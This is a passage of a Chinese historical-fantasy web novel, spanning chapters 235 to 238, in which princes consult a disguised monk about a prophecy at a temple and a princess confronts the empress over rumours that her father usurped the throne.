釜沉舟’这样的一计来。

虽是兵行险招,此计一旦被人识破,其他各国便会蜂拥般地趁虚而入,西秦便会因此而陷入四面楚歌的亡国境地。

但他相信,此消息一出,更多极为忌惮这股太过于强大,且又都想据之为己有力量的人,为了保险起见,定会先对此消息来源以及其真假情况一探究竟。而此时,无疑便等于整个灵空大陆所有的势力都在帮他寻找守护者的踪迹。

‘功夫不负有心人’果然不出他所料,直到17年前,突然有一天,那位听到了消息而归来西秦的守护者孤女,已然成了一位即将要临盆的妇人,而且摇身一变,竟成了富甲一方的东宁国身份尊贵的嫡皇后,带着众多随从,自己找上了门来,并出现在城隍庙他的面前。

经过询问,他这才知道,上天保佑,她落入悬崖后并没有死,但却失忆了。且随着东宁国落叶归根归乡的商人流落到了东宁国,并凭其超凡的医术解救了东宁国一场近乎于是亡国的瘟疫浩劫,得到东宁国君的大加赞许和宠幸,且入了宫,受到了身为一个女子最至高无上的册封。

那一年,守护者在东宁皇宫里无疑中听到有人在朝堂上谈及西秦守护者已不复存在,西秦子民生活于水深火热之中的消息。不知为何,忽然脑袋像是炸开了一般,随即便蓦然恢复了记忆。

然在青袍老道听闻之后,感觉她却更像是感应到了西秦天子身处于危急时刻的用心召唤,便毫不犹豫地决定回来誓死履行自己的使命。

于是,她便不顾自己和腹中胎儿的安危,长途跋涉地赶回到西秦国来见先帝最后一面。

就在梅志煊沉思之际,那青袍老道忽然轻笑一声摇了摇头,继而转过身去一边朝禅院里走去,一边兀自幽幽说道“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”

“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”闻此,梅志煊口中默默地跟随其后重复了一遍。

稍作沉思,梅志煊忽然主动要求说道“道长,帮本皇子卜一卦吧,本皇子只想知道……”

说着,猛一抬起头来,那青袍老道却似是像人间蒸发了一般,早已不见了踪影。

只有周围的一片寂静,夜色如墨般漆黑,就在这时,忽然再次诡异地响起了青袍老道的声音“小店桃花红粉姿,陌头杨柳绿烟丝。”

“‘小店桃花红粉姿,陌头杨柳绿烟丝。’道长此话为何意?本皇子只想知道我东宁国多年前遗失在西秦的嫡公主的下落,方才本皇子有眼不识泰山,对不起。还望道长海涵,帮忙指点迷津,不甚感激,本皇子愿意付出任何代价。”然任其此时再多的诚恳与哀求,至此,那老道已然再也没了任何回应。

梅志煊难得一见地垂首失落着走出了城隍庙的大门。

对于今夜在此所发生的一切,听到的一切,感觉竟像是在睡梦中一般。此时,他一边迈步

,一边细细地琢磨思量着。

侍卫见其终于出来,但却一张本温润如玉的脸色,此刻竟显得极其难得的尤为难看,便连忙上前去小心翼翼地问道“殿下,发生了何事?”

闻声,梅志煊这才回过神来,却问道“要发回呈给父皇关于寻找西秦守护者最终结果的密信,可有都已经拟好了?”

侍卫一脸欣喜道“已经拟好了,是不是立刻就发?相信陛下看了,这次一定不会再反对殿下出兵了。这一刻,我们已经等了太久了。”

梅志煊长长的舒了口气,道“要发,但是不是这份请求起兵的。”

“那是?”侍卫听了,顿时卸去了脸上的笑容,朝其顿足惊声问道。

梅志煊亦停下了脚步,侧身对着侍卫,咬了咬牙,道“重新拟订一份书信给父皇,就说本皇子…答应迎娶西秦公主,请父皇尽早安排吧。”

侍卫一听,顿时扬起声来激动地道“殿下这是为何?婚姻大事,岂非儿戏?殿下不是一直都拒绝政治联姻,宁缺毋滥么?即便是真要找,至少也得找个朝中可以帮衬殿下的权臣贵女啊?”

“可以帮衬本皇子的权臣贵女……不必再多说了,立刻命人去办吧,越快越好。”梅志煊默默地坚持道。

他在心中暗暗地嘀咕着,这个公主听说是帝的心头肉,一定知道很多关于西秦天子守护者的事情。

梅汐媛已至西秦这么久,竟连那西秦秦王的行踪都搞不清楚,看来,要成大事,她是万万靠不住的。

这次,若不是她从中作梗,迟迟不服从命令配合寻人,嫡公主也不会遭遇此劫难。

哼…西秦皇帝,这个公主,可是你们自己送上门来的,休怪本皇子对她不客气……

“是,属下明白。”一边接过侍卫手中递上来的缰绳,兀自与其一起翻上马背,策马奔驰着进到了市井上的一片浓浓夜色当中。

就在二人刚刚策马离去,从城隍庙的大门里又走出一身着一袭紫红色棉袍,三千墨发以一只精致的簪子半束着,两鬓间还有两缕微带蜷曲的青丝洋洋洒洒地垂下来,时不时供他以手把玩。长着一对如十里春风般温暖的桃花眼,浑身散发出的尽是随性与恣意的妖艳男子。

他一手撩起袍角,急急沿着门口的石阶追了下来,站在道路中央,半眯起那双妖艳的桃花眼来呆呆地凝视着其渐渐消失在夜色当中的背影,口中低声喃喃念叨着。

待到再也看不见任何风吹草动的迹象,亦再听不到马蹄嗒嗒嗒的声音,方才回过头来认真地看了眼城隍庙的门匾,继而又看向方才那青袍老道站立过的地方,道“那个青袍老道儿又是谁?他竟知道灵龙大陆这么多鲜为人知的事。显然,他知道的一定还远远不止这些。”

“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”

“小店桃花红粉姿,陌头杨柳绿烟丝。”

男子口中默默地念道……

第二百三十五章:江湖术士与和尚

待到再也看不见任何风吹草动的迹象,亦再听不到马蹄嗒嗒嗒的声音,那红袍妖艳男子方才回过头来认真地看了眼城隍庙的门匾,继而又看向方才那青袍老道站立过的地方,道“那个青袍老道到底是什么人?他竟知道灵龙大陆如此之多鲜为人知的事。显然,他知道的一定还远远不止这些。”

“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”

“小店桃花红粉姿,陌头杨柳绿烟丝。”男子口中默默地念道。

“看这身影和气质,不正是万娇阁里那位大言不惭的面具男子么。原来他就是东宁国文武双全且最是英勇善战,而平日里却甚是一副温润如玉的三皇子梅志煊,难怪在万娇阁里胆敢对本太子如此出言不逊。哼…胆敢拐骗本太子的丫头,日后,本太子一定会抽空和你好好算一算这笔账的,咱们走着瞧!”继而扭头又瞥了一眼方才二人离去的背影,喃喃自语地将话一说罢,便又撩起袍角踏上石阶,跨门进入了城隍庙内。

庙里的夜,古塔、星辰,一切恬静而悠然,万物皆归于静寂。

唯有殿宇檐角上的铜铃,伴随着这片寂静夜里的阵阵晚风,时不时的缓缓飘出那饱含历尽沧桑和风吹雨打的低沉之音。仿佛要洗尽这尘世铅华,涤尽那坠落于世间的每个孤独的灵魂上的尘垢。

忽然,寂静中现出一个小沙弥的身影,渐渐地与这禅院里的背景似是全都融合在了一起。

只见他手里挑着一盏昏暗的青灯,脚下迈着轻盈的步子,缓缓向着一座灯火通明的大殿方向走去。

“小师父,请留步!”红袍男子再次进门后,直接紧随着青袍老道方才离去的方向,便寻到了这座禅院里的殿门前,却只见到院子里一片寂静。正在四处搜索,忽一看见这小沙弥,便急急开口将其拦住。

小沙弥闻声,即刻顿足下来,因一手挑着灯多有不便,便单手恭敬地朝其行礼道“阿弥陀佛,不知施主有何事唤小僧?”

红袍男子忙上前来亦朝其以礼相待,方才开口问道“请问小师父,方才可有见过一位青袍老道人至此。”

小沙弥闻之,当即抬起头来,一双乌亮有神的大眼睛愣愣地朝其怔住。

红袍男子还以为是自己描述的不够清楚,便一边比划着一边补充说道“哦…那青色道袍的老道长,身上挎着一个布袋,年近六旬,满脸白色短须,一手举着“算命卜卦”的布幡,另一手拿着一只铜铃铛,他方才还在……”

岂料红袍男子话音未落,小沙弥便再次朝其单手行礼,急忙开口将其打断,道“阿弥陀佛,施主,城隍庙乃佛家净土,岂会有道人在此出没。想必,是施主你看走眼了吧!”

红袍男子听了小沙弥的话,纳闷极了,因为近日里都忙着四处寻找坠崖又落水失踪了的丫头的下落,他一直都让自己时刻保持着一万分的清醒,滴酒未沾啊,怎么可能是看

走眼亦或是幻觉呢?

于是,他扬起声来对其反驳道“不可能啊,方才我明明亲眼看到了那个青袍老道在前院对那东宁三皇子说了一大堆…不会没有啊?”

小沙弥依然故作镇定地道“有就是有,没有就是没有。‘出家人从不打诳语’,施主若是没有其他事了的话,小僧还有事,便不奉陪了。夜已深了,施主亦早些回去歇息吧。”

小沙弥说着,便兀自转身离去,只留下红袍男子一人在院子里,似是尚还缓不过神来,只愣愣地嘴里不停重复着“这不可能…不可能…不可能……”

进入大殿后,小沙弥将手里的灯熄灭放到了一边的角上,继而迈步又走入了殿。

殿里,一光头老和尚正在整理身上的僧衣。小沙弥一上前来,便高兴地对其行礼,继而伸手帮忙一起整理,说道“师父终于回来了。这几日,庙里的香客实在是太多了,大家可都忙坏了。尤其是那个城东秦王府来的秦王妃,排场颇大,也甚是讲究,不过庙里的香油钱也是得了不少,果然是富甲一方的东宁国永乐公主的气派之举。”

老和尚听了,也只是淡淡地笑了笑,并未就此说些什么。

小沙弥却忽然像是想起了什么,很快将脸上的笑意褪去,摸着自己的小光头问那老和尚,道“对了,师父,那女施主执意要见师父,后来听徒儿说师父外出云游四海,归期全无,便教徒儿帮忙问师父一句什么…‘既生汐,何生云’?那位施主明日一早便要回去王府了,师父是否要见她一面?”

“有缘自会相见,无缘见了亦是枉然。‘佛不度无缘之人’,为什么?你跟他说法,他不听,亦不接受。就如她那兄长方才一般,不见也罢。各人有各人的路,各自的劫数,恐怕说了,其也是参悟不了。”老和尚道。

“那师父的意思…就是不见咯?”小沙弥歪着脑袋问。

老和尚兀自琢磨了一会儿,说道“‘既生汐,何生云’,或许现在,在她的心里已经不这样认为了。不过以后…‘出家人当以慈悲为怀’,你就代为师渡她一句‘此有故彼有,此生故彼生;此无故彼无,此灭故彼灭。万法皆空,因果不空。种甚因,结甚果,万事莫强求’。”

“此有故彼有,此生故彼生;此无故彼无,此灭故彼灭。万法皆空,因果不空。种甚因,结甚果,万事莫强求。”小沙弥静静地重复记忆着。

半晌后,老和尚已经独自踱步到一旁,看起了经书,小沙弥也似是已经将师父教的话全数记下,便倒了一盏清水,双手捧着过去将其奉上,好奇地问道“师父,为何您每次出门,都是江湖术士一副道人的扮相呢?”

“因为师父原本就是一个无牵无挂、游走四方、浪迹天涯的惬意江湖道人啊!”老和尚咽下一口甘泉,和蔼地对其说道。

“师父以前竟真是……”小沙弥闻此,瞬间对其瞪大了那双乌亮的眼睛,张大嘴巴惊的竟连话都

说不出了。

惊了半晌后,方才回过神来将话说完“天呢,真是太不可思议了。那师父为何又成了现在这般,一世都关在这座禅院里,再也不能天高海阔肆意行走了。”小沙弥的言语里,满是悲哀。

老和尚笑着摸了摸小沙弥的小光头,又长长地舒了口气,只道“‘我不入地狱,谁入地狱’,一切都不可说,不能说,亦说不得。”

说着说着,老和尚似是沉浸陷入到了一片深深的回忆当中。

“对了,师父,您果真料事如神呢!您出门后没几天,果然从桃花店村里来了一位女子。”忽然,那小沙弥发出的一极为崇拜的惊叫声将其唤醒过来。

“那你可有将为师嘱咐你的话告知了那个女子?”老和尚问。

“‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。‘弟子都说了”小沙弥认真道。

“你做的很好!”老和尚夸赞其道。

“‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。‘这句话到底是什么意思呢?”小沙弥笑了笑,亦不解地问道。

“‘真龙’‘凤凰’,他们是拯救这片苍生的两个人……”老和尚幽幽说道。

“‘真龙’‘凤凰’‘龙凤呈祥’,自古以来,龙和凤都代表着吉祥如意,龙凤一起多表示喜庆之事。‘龙,凤’那自是只有贵为一国之主的帝王和帝后才能担得起的称呼。‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生’…徒儿明白了,师父的意思是,有可以统一灵龙大陆的能力的帝王和帝后已经重生现世了?”小沙弥兀自念叨着,忽然明白了过来。

稍停片刻,小沙弥又叹了口气,继续自言自语道“可如今灵空大陆有四国,究竟哪国才拥有这般强大的力量。如果传说中西秦的守护者尚还在世,那无疑一定是西秦国一统灵空,可如今……”

“对了,方才你在院子里是在跟谁说话?”老和尚笑了笑,心中已然对这个自己亲自带出来的小沙弥如今的成长甚感安慰,转念又问。

闻此,小沙弥的脸上立刻浮起似是有些不悦之色,道“方才院子里不知道从哪里闯进来一个满身脂粉味,打扮极其妖艳的紫红色衣袍男子,正在找师父您呢?也正是因此,徒儿方才才会问起师父为何总是以道人扮相出门啊。”

“满身脂粉味,打扮极其妖艳的紫红色衣袍男子?找为师?”老和尚正在独自琢磨着。

小沙弥急道“可不是嘛,徒儿费了半天劲,才将他搪塞过去。这会儿,也不知道他走了没有呢?”

“莫非他是……你快去看看他是否还在院里,如若是的话,请他进来。”老和尚吩咐道。

“师父要见他?他是何人?”小沙弥惊讶地问。

“看来,今夜聚在城隍庙里的贵人远远要比为师预料的多的多。”老和尚捋了捋白须道。

第二百三十六章:莫忘今夜佛前言

“莫非他是……你快去看看他是否还在院里,如若是的话,请他进大殿来。”老和尚吩咐道。

“师父要见他?他是何人?”小沙弥惊讶地问。

“看来,今夜聚于城隍庙内的贵人远远要比为师预料的多的多。”老和尚捋了捋那嘬白须道。

小沙弥谨遵老和尚之命,再次挑灯一走出大殿的门,便看到了尚还在那片幽静的月色下仔细凝望着这个院落里的每个角角落落的妖艳男子身影,似是有些失望地正欲转身离去,便忙挑着灯上前去向其行礼邀请道“阿弥陀佛,施主,我家院主有请施主入大殿稍作歇息。”

“你家院主?”妖艳男子闻声随即转回身来,一脸纳闷道。

“正是,施主请。”小沙弥说着,便开始迈步在前面挑灯带路,妖艳男子紧随其后朝着前方一片灯火通明的殿宇门桅上高悬着“大雄宝殿”匾额的大殿而去。

大雄宝殿,面宽五间,进深四间,皆清净庄严,露台中央设有一炉台铜鼎。

高大的须弥座用汉白玉雕琢砌筑,晶莹洁白。座上安奉释迎牟尼佛金身佛像,慈眉善目,神态安详,两侧靠墙供奉着十八尊精铁鎏金罗汉像。

大殿内,一身披袈裟的老和尚正在虔诚地焚香祭拜。

妖艳男子一进到大殿内,老和尚便慈眉善目地朝其缓缓踱步过来,将其亲手刚刚为此来人特意点燃的三柱檀香递到手中,劝言道“施主,既然来了,便是与佛有缘之人,就请上柱香吧!”

妖艳男子心中虽对此神佛之事尽是不屑一顾,然却似是依旧被眼前的此情此景,这般氛围所深深震慑到了一般,竟有些不由自主地缓缓伸出手去接过了那三支袅袅檀香,迈步上前将其插入到了佛前的香炉之中。

这时,老和尚方才开口道“施主天庭饱满,仪表堂堂,气质不凡,真是好相貌啊!只是不知为何这个时辰会此院里。此时,可不是恭迎香客的时间啊。”

闻此,妖艳男子依旧有些不羁和傲慢地单手附后,仰头朝其解释道“大师见谅,我虽深夜里来到此地,可却并没有恶意。只因方才在前院里偶见一道长扮相的老者亦朝此院里进来,所以才追随其后进入。”

“施主追逐那道长又意欲为何?”老和尚心间顿时一愣,继而问道。

“我…我只是在此附近寻找落水失踪了的妹妹,刚巧要离开寺庙时,无意间恰巧听到了那道长所说的几句话,有些好奇,想问问他其意究竟为何。却不想,那道长却忽然消失不见了。”犹犹豫豫间,妖艳男子回答道。

其实,他只是心里好奇,想要知道那青袍老道与那看起来鬼鬼祟祟的东宁国三皇子到底在说些什么而已。

老和尚这才意识到,方才与那东宁三皇子的谈话,竟都被此人听到了。倒也罢,不妨就此且看看这世人皆传闻中的南安太子是否真的那般淡泊名利,放浪不羁。

于是,他开口问道“

不知施主方才所听到的是什么金石良言?不妨说予老和尚我来听听,或许,老和尚也能帮施主参透一二呢?”

“你?”妖艳男子顿时被面前的这位大言不惭的老和尚之言震惊呆了。

“对,正是老和尚我。”老和尚捋着胡须对其点点头,笑着说道。

妖艳男子怔怔地望着老和尚的眼睛,却忽然似是从中看到了一种世人难得的清明境界,似是蕴藏着一种莫大的智慧一般。

于是,他试着缓缓开口说道“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”

闻此,老和尚捋着胡须故作将其又重复了一遍后,说道“在回答施主这句话的含义前,老和尚可否先问施主几个问题?哦,当然…施主若是不便回答的话,便可不答。”

岂料妖艳男子想都没想,侧身对其脱口即出“大师想问什么?”

老和尚再次将眼前的男子仔细打量了一番“请问施主可正是世人传闻中的那位‘不爱江山独恋百草’,又钟爱于逍遥自由,无拘无束,放浪无羁的南安国太子殿下。”

“你是怎么知道的?”妖艳男子大吃一惊,即刻转身朝着老和尚一怔。

“施主这便是承认自己的身份咯……‘淡泊名利,与世无争,人之初性’,如此,一世自在又惬意,自然是好事。只不过,施主既然生在了帝王家,又贵为一国之储君,却如此整日里妄自闲散度日,而不顾其羽翼庇护下的黎民百姓们是否丰衣足食,是否正处于水深火热之中。这…似是也显得施主太没有担当了,试问如此,以后又如何继承做得了这一国的明君呢?”老和尚认真地问。

“哼…这天下的明君多的是,只这片灵空大陆里就有四人,少本太子一人又如何?再说了,‘人各有志’,这神农尝百草,不也是济世救人,救天下人么!我易三少的百草谷和百草堂,奇花异草遍地都是,试问天下谁人能敌?”岂料那妖艳男子的心里竟一点儿也不为自己的所作所为感到内疚,反而理直气壮地自豪答道。

闻之,老和尚又一次被其言语震惊了。看来,这个南安太子,果然名不虚传,非同凡响,稍停片刻,又接着问“可神农最终却也死在了一株断肠草上。施主如若真的无意于朝堂,那可有曾认真想过南安国的未来又该将何去何从?难不成,施主真的心甘情愿,亲手将其父辈呕心沥血打出来的那片大好河山拱手让人,让世人皆都嗤之以鼻讥笑么?”

“将南安交于明君能人之手,使其得到更好的未来,又有何不可?只要南安的黎民百姓们生活越来越好,谁做这位统治明君又有何妨?”妖艳男子反问老和尚道。

老和尚一脸惊愕,没想到这位南安国后人竟如此深明大义。看来,这灵空大陆,的确是到了该统一的时候了。

“如此,老和尚再已无任何疑问了。只是,老和尚恳请施主无论何时,都不要忘了今日在佛祖面前所说的一

切,阿弥陀佛,善哉善哉!”老和尚最后双手合十,对佛行礼念道。

“男子汉大丈夫,一言既出,驷马难追,当然说话算话,大师莫要轻看了本太子。”妖艳男子对其信誓旦旦道。

于是,老和尚悠悠说道“灵空一统,这句话毋庸置疑。只是这,何谓‘龙’?何谓‘凤’?何谓‘生’?何谓‘死’?何又谓之‘涅’呢?”

“何谓‘龙’?何谓‘凤’?何谓‘生’?何谓‘死’?何又谓之‘涅’……大师的意思是说……”妖艳男子默默地随其重复着,忽然似是已缓缓明白了过来,顿时瞪大了那对温柔细长的桃花眼,朝其欲言又止地惊声道,老和尚依旧在其身旁只点头微笑着。

妖艳男子的心中,显然似是已经预感到了些什么。

半晌后,老和尚忽然开口问那妖艳男子,道“对了,方才老和尚我听施主说在此附近寻找落水失踪了的妹妹,请问是否已经找到了呢?”

闻此,妖艳男子方才回过神来,但却是一脸无奈地摇了摇头。

“究竟发生了什么事呢?施主不妨说说。”老和尚道。

妖艳男子暗自想想,反正自己已苦苦寻了多日,却毫无一丝进展,就仿佛衣上云是真的从人间蒸发了一般,自己都快要被自己那样顽强的意志给打败了。索性,便也将北山悬崖上所发生的事情所有经过,一一对其诉说了起来。

听完整个事情的来龙去脉,老和尚这才恍然大悟,原来这位南安太子竟与衣上云和秦王都是熟识之人,便问“不知施主和那位失踪了的姑娘究竟是什么关系?真如施主所言,仅仅是施主的妹妹。”

“她……她是本太子在这个世上唯一想要却似是永远都不可能得到的人。妹妹……哼,总比什么都不是的好!”妖艳男子苦笑一声,无奈道。

“英雄难过美人关,原来施主意不在江山与朝堂,除了百草外,竟也是个风流倜傥的痴情人。只不过,红尘多烦恼,情深总羁绊,倒是有悖于施主的放浪无羁了。殊不知,世间情缘,多为情深缘浅,来也匆匆,去也匆匆,一切皆如梦幻泡影,到了曲终人散之时,只不过是平添了一缕寸断肝肠罢了。”老和尚道。

此言一出,大殿内一片寂静,再无任何声音。

“夜已深了,本太子就不多叨扰了,有缘再见!”沉默了许久后,妖艳男子忽回过神来,随即拱手朝老和尚道别。

“施主保重!”老和尚对着其已微微转过的背影说道。

正当妖艳男子刚好跨出门槛,一直守在殿外的小沙弥进门来,将门关至只留有一道缝隙时,忽然再次飘出了老和尚的声音来,道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’施主寻人,不妨往此处觅去,‘生既是死,死亦是生’。’”

闻此,妖艳男子蓦然醒悟过来道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’难道,那东宁国三皇子也在寻丫头……”

第二百三十七章:玥儿,一定要强大起来

妖艳男子的脚刚跨出大殿的门槛去,一直守在殿外的小沙弥进了门来,将门轻轻关起,正好至只留有一道缝隙时,忽然再次飘出了老和尚的声音来,道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’施主寻人,不妨往此处觅去,‘生既是死,死亦是生’。’”

闻此,妖艳男子顿时双眼一怔,蓦然醒悟过来道“‘小店桃花红粉姿,陌头杨柳绿烟丝。’难道,那东宁国三皇子也是在寻找丫头…他究竟为何一直纠缠丫头,这其中,一定有什么秘密……”

一时间里,妖艳男子的心中又惊又喜道“丫头还活着,丫头居然真的还活着,太好了,真是太好了!”

说着,便满怀希望着大步流星急急走出了城隍庙的大门,翻身上马朝着夜雾里梅志煊方才离去的方向奔去。

桃花店村里。

经过了今夜一场游灯走桥习俗的洗礼,欢儿与若曦俩人的感情果然增进了许多。

回到家以后,欢儿主动将老妇人房内小床上若曦的物件全都搬到了自己房内,老妇人看着她的变化一脸疑惑不解道“欢儿,你不是很怕若曦吗?这会儿怎么自己跑来老身的房内搬若曦的东西了呢?”

“老夫人此言差矣,这俗话说的好‘新做的鞋子还会磨脚呢’,更何况是这大千世界里,俩个素未蒙面过的陌生人呢!不过,从现在开始,欢儿就是若曦的眼睛,她要看什么,欢儿便看什么,她要去哪里,欢儿便往哪里去……我们俩从此,形影不离。”话音未落,欢儿便已经跑完了最后一趟,一溜烟似的飞了出去。

老妇人望着其消逝的背影,露出一脸无可奈何的笑容来。

若曦则被欢儿一带回家来,便安顿着坐在自己的床边,还三令五申地让她绝对一动都不能动。于是,她便只好坐在原地里静静地独自琢磨起来“如梦亭里,恍如一梦,梦中我看到了好多画面,可是却唯独都看不清楚那些男男女女的脸。这些到底都是些什么人?跟我又有什么关系?‘真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生’,这又是什么意思?”

老妇人则在另一屋内,一盏昏暗的烛火照耀下,满腹心事纳闷地喃喃自语道“她一定便是守护者没错,可究竟她身上为何会没有守护者的专属凤凰印记呢…不行,看来明天我得亲自去躺城隍庙见大师一面。”

西秦皇宫里。

一片灯火通明,金碧辉煌的大殿里,一场君臣共度的满堂生辉,气氛庄严而又祥和的宴会刚刚结束,侍宴的君臣亦已散去。

此时,夜空中皎洁的月光和闪烁的星辰,将巍娥高大的整个西秦皇宫渲染的恍若天上的宫阙般,缥缈犹如仙境。

皇后的朝华宫里,阵阵夜风佛过,吹送着香炉前的袅袅香烟,使偌大的宫殿里四处都流溢着丝丝缕缕的一股清香。

“母后,儿臣只不过几年未在宫中而已,竟不知宫里元宵夜的

节目何时起竟已如此好玩。儿臣觉得那个从宫外请来的杂技班子,表演的钻圈、魔术、倒立等等,惊险刺激,真是令人目不暇接。还有,是谁竟想出办法来特意将民间的街市情景搬到了宫中,阵阵欢声笑语,货郎高声的叫卖,人潮涌动,热闹非凡……这民间街头活脱脱的场景完全不必走出宫门便尽收于眼底,一览无余了啊,儿臣真是觉得甚是新奇好玩。”

多年在外游历,回宫后第一次过元宵节的太子轩辕昊似是此时仍然意犹未尽,立在殿中央一脸兴奋地手舞足蹈着说道。

皇后着一袭绣金凤袍,装扮甚是隆重地端坐在殿内一软榻上一边听,一边微笑着,抿了一口侍女奉上来的花茶。

继而又以锦帕拭了拭嘴角的茶渍,方才不以为然地开口缓缓道“母后倒是比较喜欢各地官吏纷纷进奉上来的特制花灯,其设计无一不精美绝伦,真是让人看的眼花缭乱。尤其是那些个寓意吉祥的彩灯,马形灯寓意马到成功,蟾蜍灯寓意蟾宫折桂,还有漂亮的螃蟹灯、兔子灯、仙鹤灯和官员灯……不过,要说最令人震撼和有心的,还是要属那西秦学院的陆贤进奉上来的《万民喜闹元宵图》,更是将处于风调雨顺与国泰民安下的我西秦国黎民百姓,在民间欢度元宵佳节应有尽有的场景细节,都绘制的惟妙惟肖,真是美极了,也颇为震撼人心。”

“对对对,母后说的是,儿臣早就听闻西秦学院陆贤上通天文,下知地理,其学术造诣更是灵空大陆无人能及,只可惜,他却也是个不爱功名与朝堂的闲人野鹤。”轩辕昊言语里带着不尽的羡慕与一丝惋惜幽幽说道。

片刻过后,待其回过神来忽一扭头,这才看到一旁的轩辕竟然静静地默在边上独自端坐着,手里捧着一碗醇香的奶茶,却只是似在发呆的样子一直看着,便踱步过去到其身旁,问道“皇姐,你呢?是不是也和母后一样,喜欢那些光彩夺目的花灯和陆贤的那副《万民喜闹元宵图》呢?”

岂料轩辕竟不知陷入了多深的沉思之中,竟对立在其面前几乎是对其专门大声耳语的轩辕昊毫无察觉。

于是,轩辕昊皱起眉头来伸手抢过其手上端着的奶茶,轩辕这才急急缓过神来,惊诧地问“啊?怎么了吗?”

皇后亦远远地撇见了她此时的异常,轩辕昊疑惑地问“皇姐,今夜乃一年一度的元宵佳节,欢歌笑语,普天同庆。皇姐为何却独自一整晚都闷闷不乐的样子,这到底是为了什么?皇姐有何心事?说出来,兴许昊儿和母后可以帮皇姐说道说道呢!”

岂料,此话一出,轩辕竟顿时露出一脸难色来,似是想说又不想说,不知是羞于启齿,还是其它什么原因。

于是,轩辕昊便兀自猜测着,取笑其道“哦,皇弟明白了。良辰吉日,皇姐是不是又在挂念你的好姻缘了!”

“昊儿休要乱说,哪有的事?”轩辕似是有些生气地矢口否认道。

不是这个?方才,程将军已经派人快马加鞭来宫中禀报,秦皇叔已经安然无恙地苏醒过来,那还能有什么事能让皇姐如此牵肠挂肚,心不在焉呢?”轩辕昊摸了摸脑袋,纳闷道。

思之又思,轩辕久久还是不知该如何开口来问。

然轩辕昊也依旧不依不饶地继续对其揣测道“莫非是因为…云儿?”

一听到‘云儿’这两个字,轩辕总算是重重地叹了口气。继而对大殿里侍候着的宫女太监们扬声下令道“你们都退下去吧,没有母后的传唤,任何人都不得入内来打扰。”

皇后显然对轩辕此时如此神秘而又异常的举动惊愣住了,然还是严肃地朝着侍从们点了点头,一大殿的宫女太监这才急急听命退了下去。

众人散去,偌大的宫殿内瞬间就只剩下了这母子三人,皇后眉头微微蹙起,这才难得肃穆地开口问轩辕,道“儿,你今夜到底是怎么了?”

岂料这还不止,轩辕竟又起身来,将两手附在一直立在自己面前一脸大问号的轩辕昊的肩上,说道“昊儿,夜已深了,你也先回宫去吧。今夜,皇姐想和母后单独说说话。”

轩辕昊立刻反驳道“皇姐为何如此神秘,究竟是什么事,竟然连皇弟也不能知道么?”

轩辕对其甚为坚决地摇了摇头,轩辕昊有些不服气地转过头去,看了同样满是疑问的怔在原地的皇后一眼,便有些气恼地迈起大步,无可奈何地走出了殿门去。

这时,轩辕方才缓缓移步到皇后的身边,为其亲自将茶碗里的茶汤添满敬上,目光坚定地说道“母后,儿在西秦皇宫里的时日已然不多了,有些事,儿想在离开前亲自听母后说清楚。如此,儿方才能安心地远嫁他国。”

闻此,皇后一时间里竟凝视着眼前这个从小到大,在她膝下承欢于左右,自己亲眼看着长大的女儿,深深地怔愣住了。

她看着这个女儿此时从来都没有过这般认真和坚定的眼神,忽然发现,原来自己的女儿认真起来竟有这般强大逼人的一股气势。

或许,她是真的长大了吧。如此也好,以后的日子里,她只能这样义无反顾地认真让自己变得强大,方才能有立足之地。

这个世上,当然不止西秦皇宫里有斗争,哪个皇宫里又曾消停过呢?!漫漫岁月,以后的路,显然诸多的事,即使她贵为一国之母,怕是也爱莫能助了。

所以,这一刻,她定是深感安慰的。她在心里默默地祈愿:对,就是这样,儿,以后,你一定要使自己变得越来越强大起来。

于是,皇后虽然脸上满是严肃,然心里其实却是欣慰极了的缓缓接过轩辕恭敬递上前来的茶碗,抿了一口茶汤,淡淡地问“儿想知道什么?”

轩辕深吸了口气,似是鼓足了勇气道“母后,儿想知道,当年父皇究竟是如何登上帝位的?其真相究竟是什么?”

第二百三十八章:真命天子究竟是谁

皇后虽然脸上满是严肃,然心里其实却是欣慰极了的缓缓接过轩辕玥恭敬递上前来的茶碗,抿了一口茶汤,淡淡地问“玥儿想知道什么?”

轩辕玥深吸了口气,似是鼓足了勇气字字铿锵地问道“母后,玥儿想知道,当年父皇究竟是如何登上帝位的?其真相究竟是什么?为何会有那么多人在宫里传说,那个位置本来应是属于秦皇叔的?究竟谁才是西秦国的真命天子?”

“啪嚓嚓……”

闻此,皇后手里的那只已伸出去大半,本应稳稳地落在其身旁案几上的茶碗突然间顺势滑落下来,掉在地板上碎成了好几片,发出一阵清脆极了的响声来。

茶碗里剩余的茶汤亦随之到处四溅开来,溅污了她身上甚为名贵的一袭绣金凤袍的袍角。

她抬起眼来,眉头紧皱,怔怔地凝视了轩辕玥的眼睛半晌后,方才回过神来惊讶地问“玥儿的这些话是从何处听来的?”

“这重要么?”看到了母后对自己的这句话此时如此这般之大的震惊反应,轩辕玥的心里似是已经有了些许答案,眼里不禁流露出一丝失望的眼神来反问道。

“此话日后可千万不能再乱说,这若是被你父皇听到了的话,不仅散播这些谣言的那些人会被株连九族,哪怕就连你,也可能会被受牵连……你记住了吗?”皇后看着轩辕玥此时认真极了的表情,顿然起身来,用力地摇晃着轩辕玥的胳膊,对其叮嘱道。

岂料轩辕玥竟依旧义正言辞地兀自说道“‘谣言’?母后今夜真的打算就用如此轻描淡写的两个字来堵玥儿的一片真心么?”

看着皇后明显已有些六神无主,似是只想急急三言两语便将所有真相掩盖过去的样子,轩辕玥竟忽然冷哼了一声,继续说道“‘身正不怕影子斜’,更何况是一国之君呢。如果父皇自己行事光明磊落,果真是名正言顺,对秦皇叔和整个西秦国上上下下心中毫无半点愧疚的话,又怎会怕这些无中生有的流言蜚语呢?除非……当年父皇真的是以大欺小、恃强凌弱、谋权篡位、抢了本属于秦皇叔的所有这一切。”

“玥儿,快住口!”皇后心惊胆战地似是再也不愿听她说下去了,便迫不及待地慌忙朝其呵斥阻止道。

